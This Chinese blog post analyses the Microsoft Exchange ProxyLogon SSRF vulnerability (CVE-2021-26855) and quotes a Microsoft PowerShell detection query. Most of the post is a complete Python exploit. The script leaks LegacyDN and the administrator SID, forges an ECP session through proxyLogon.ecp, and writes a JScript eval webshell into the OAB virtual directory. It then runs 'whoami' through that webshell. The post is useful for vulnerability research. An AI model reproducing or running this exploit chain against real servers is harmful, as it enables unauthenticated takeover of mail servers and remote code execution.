• Exchange- (CVE-2021-26855)SSRF分析


    由于之前的Exc漏洞都是建立在已经有了身份验证的情况下的,这个SSRF的出现改变了这一现状

    这是微软发布的POWERSHELL检测方法

    Import-Csv -Path (Get-ChildItem -Recurse -Path "$env:PROGRAMFILESMicrosoftExchange ServerV15LoggingHttpProxy" -Filter '*.log').FullName `
    | Where-Object {  $_.AuthenticatedUser -eq '' -and $_.AnchorMailbox -like 'ServerInfo~*/*' } | select DateTime, AnchorMailbox
    

    而此漏洞的利用方式有如下

    1. 通过SSRF漏洞攻击,访问autodiscover.xml泄露LegacyDN信息。
    2. 在通过LegacyDN,获取SID。
    3. 然后通过合法的SID,获取exchange的有效cookie。
    4. 最后通过有效的cookie,对OABVirtualDirectory对象进行恶意操作,写入一句话木马,达到控制目标的效果。

    这是与漏洞有关的url

            
    /owa/auth/Current/themes/resources/logon.css
    /owa/auth/Current/themes/resources/...
    /ecp/default.flt
    /ecp/main.css
    /ecp/<single char>.js

    漏洞点位于"C:Program FilesMicrosoftExchangeServerV15FrontEndHttpProxyin" 目录下的"Microsoft.Exchange.FrontEndHttpProxy.dll"。

     从GetBEResouceCookie方法可以看见 获取的cookie名叫啥和url以什么格式结尾

     

     通过查看看对BEResourceRequestHandler的调用发现SelectHandlerForUnauthenticatedRequest调用了BEResourceRequestHandler

     根据此请求发现url必须带有ECP且以上面图片结尾的后缀,构造demo

    只有ProxyToDownLevelGetTargetBackEndServerUrl方法中将其设置为true时才调用方法。此方法检查用户是否已通过身份验证,如果未通过验证,则返回HTTP 401错误。

    幸运的是,我们可以GetTargetBackEndServerUrl通过修改Cookie中的服务器版本来防止设置此值。如果版本大于Server.E15MinVersionProxyToDownLevel则为false。进行此更改后,我们成功通过了后端服务(自动发现服务)的身份验证。而这里需要的version就是下面通过~分割出来的version

     按照极光无限的步骤 附加进程到ECPAPPPOOL

    dnSpy工具附加MSExchangeECPAppPool进程后,burpSuite直接发包后,dnSpy将会断下,可以看见最后获取的cookie值

    BackEndServer.FromString()函数在处理beresouceCookie时,以"~"符号作为分隔符,进行提取字符串,然后分别赋值给fqdn和verison变量

     fqdn和verison变量将在ProxyRequestHandler.BeginProxyRequest类里的GetTargetBackEndServerUrl进行调用。
    由于我们能控制BackEndServer.Fqdn参数,所以我们就控制了clientUrlForProxy.Host. 最后重构url发送给后端服务器

    这里这个url的值就是

     然后把URL的值赋予给

     在进入函数CreateServerRequest时,会调用PrepareServerRequest进行uri代理请求的身份认证判断。(这个认证是判断你

     这里有四个判断前三个直接跳过进入最后一个else

     

     最后构造完整SSRF exp

     
    
    只有ProxyToDownLevel在GetTargetBackEndServerUrl方法中将其设置为true时才调用该方法。此方法检查用户是否已通过身份验证,如果未通过验证,则返回HTTP 401错误。
    
    幸运的是,我们可以GetTargetBackEndServerUrl通过修改Cookie中的服务器版本来防止设置此值。如果版本大于Server.E15MinVersion,ProxyToDownLevel则为false。进行此更改后,我们成功通过了后端服务(自动发现服务)的身份验证
    

    有了SSRF我们如何继续 第一步想到的肯定是直接用EXCHANGE的kerbros请求漏洞路径如下,但是这个失败告诉我们此方法肯定不行,那么问题处在哪里呐?

     我们跟踪EXP发现如下 每次攻击时候都使用了ecp/proxyLogon.ecp 我们并未使用到,那么这个的作用是什么呐?又和这步有什么关系?

     

     

     我们定位web.config 找到此url指向的是namespace Microsoft.Exchange.Management.ControlPanel dll跟踪发现此方法会返回一个    this.EcpIdentity 的东西 并且需要传入三个Header

                string logonAccountSddlSid = context.Request.Headers["msExchLogonAccount"];
                string text = context.Request.Headers["msExchLogonMailbox"];
                string targetMailboxSddlSid = context.Request.Headers["msExchTargetMailbox"];

     那么这三个是必须的吗?

     从上面这一步发现 只要"msExchLogonMailbox"不为空那么我们就能进入下一步

     所以进入EcpLogonInformation identity = EcpLogonInformation.Create(logonAccountSddlSid, text, targetMailboxSddlSid, this.ProxySecurityAccessToken);

     发现

     为什么只需要logonaccountMailbox?

    那为什么要POST一段xml数据呐?(我没有理清这里)

     这里我们来看传入xml数据后如何对它进行处理的?首先处理xml然后是判断是否正常格式,然后返回token包括groupID userid

     最终构造exp

    import requests
    from urllib3.exceptions import InsecureRequestWarning
    import random
    import string
    import sys
    
    
    def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
        return ''.join(random.choice(chars) for _ in range(size))
    
    # if len(sys.argv) < 2:
    #     print("使用方式: python PoC.py <target> <email>")
    #     print("使用方式: python PoC.py mail.btwaf.cn test2@btwaf.cn")
    #     exit()
    
    #proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
    requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
    target = "192.168.1.102"#sys.argv[1]
    email = "administrator@7dap.club"#sys.argv[2]
    random_name = id_generator(4) + ".js"
    user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
    
    shell_path = "Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\test11.aspx"
    shell_absolute_path = "\\127.0.0.1\c$\%s" % shell_path
    
    # webshell-马子内容
    shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>'
    
    autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
        <Request>
          <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
        </Request>
    </Autodiscover>
    """ % email
    
    print("正在获取Exchange Server " + target+"权限")
    print("=============================")
    FQDN = "EXCHANGE01"
    ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
                                                                            "User-Agent": user_agent},
                      verify=False)
    
    if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
        FQDN = ct.headers["X-FEServer"]
    
    
    ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
        "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
        "Content-Type": "text/xml",
        "User-Agent": user_agent},
                       data=autoDiscoverBody,
    
                       verify=False
                       )
    
    if ct.status_code != 200:
        print(ct.status_code)
        print("Autodiscover Error!")
        exit()
    
    if "<LegacyDN>" not in str(ct.content):
        print("Can not get LegacyDN!")
        exit()
    
    legacyDn = str(ct.content).split("<LegacyDN>")[1].split(r"</LegacyDN>")[0]
    print("Got DN: " + legacyDn)
    
    mapi_body = legacyDn + "x00x00x00x00x00xe4x04x00x00x09x04x00x00x09x04x00x00x00x00x00x00"
    
    ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
        "Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,
        "Content-Type": "application/mapi-http",
        "X-Requesttype": "Connect",
        "X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
        "X-Clientapplication": "Outlook/15.0.4815.1002",
        "X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456",
        "User-Agent": user_agent
    },
                       data=mapi_body,
                       verify=False,
    
                       )
    if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content):
        print("Mapi Error!")
        exit()
    
    sid = str(ct.content).split("with SID ")[1].split(" and MasterAccountSid")[0]
    
    print("Got SID: " + sid)
    sid = sid.replace(sid.split("-")[-1],"500")
    
    proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
    """ % sid
    
    ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
        "Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
        "Content-Type": "text/xml",
        "msExchLogonMailbox": "S-1-5-123",
        "User-Agent": user_agent
    },
                       data=proxyLogon_request,
    
                       verify=False
                       )
    if ct.status_code != 241 or not "set-cookie" in ct.headers:
        print("Proxylogon Error!")
        exit()
    
    sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]
    
    msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]
    print("Got session id: " + sess_id)
    print("Got canary: " + msExchEcpCanary)
    
    ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
        "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
            FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
        "Content-Type": "application/json; ",
        "msExchLogonMailbox": "S-1-5-20",
        "User-Agent": user_agent
    
    },
                       json={"filter": {
                           "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                          "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}},
                       verify=False
                       )
    
    if ct.status_code != 200:
        print("POST  shell:https://"+target+"/owa/auth/7dap.club.aspx")
        #print("GetOAB Error!")
        exit()
    oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0]
    print("Got OAB id: " + oabId)
    
    oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
                "properties": {
                    "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                   "ExternalUrl": "http://ffff/#%s" % shell_content}}}
    
    ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
        "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
            FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
        "msExchLogonMailbox": "S-1-5-20",
        "Content-Type": "application/json; charset=utf-8",
        "User-Agent": user_agent
    },
                       json=oab_json,
                       verify=False
                       )
    if ct.status_code != 200:
        print("Set external url Error!")
        exit()
    
    reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
                      "properties": {
                          "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                         "FilePathName": shell_absolute_path}}}
    
    ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
        "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
            FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
        "msExchLogonMailbox": "S-1-5-20",
        "Content-Type": "application/json; charset=utf-8",
        "User-Agent": user_agent
    },
                       json=reset_oab_body,
                       verify=False
                       )
    
    if ct.status_code != 200:
        print("False")
        exit()
    
    print("Success!")
    print("POST  shell:https://"+target+"/owa/auth/test11.aspx")
    shell_url="https://"+target+"/owa/auth/test11.aspx"
    print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());')
    print("get shell")
    data=requests.post(shell_url,data={"code":"Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());"},verify=False)
    if data.status_code != 200:
        print("False")
    else:
        print("shellget"+data.text.split("OAB (Default Web Site)")[0].replace("Name                            : ",""))
  • 相关阅读:
    Hadoop安装教程_单机/伪分布式配置_Hadoop2.6.0/Ubuntu14.04
    练oj时的小技巧(大多都在oj记录里,这是被忘记的部分)
    HDU 3032 (SG打表找规律)
    SG 大法(Sprague-Grundy函数)
    基于Linux的MySQL基本操作
    java.sql.SQLException: Unable to load authentication plugin ‘caching_sha2_password‘.解决方法
    手把手教你安装和配置MYSQL数据库
    理解Python闭包,这应该是最好的例子
    SQL基础
    MySQL令人咋舌的隐式转换
  • 原文地址:https://www.cnblogs.com/-zhong/p/14533053.html
Copyright © 2020-2023  润新知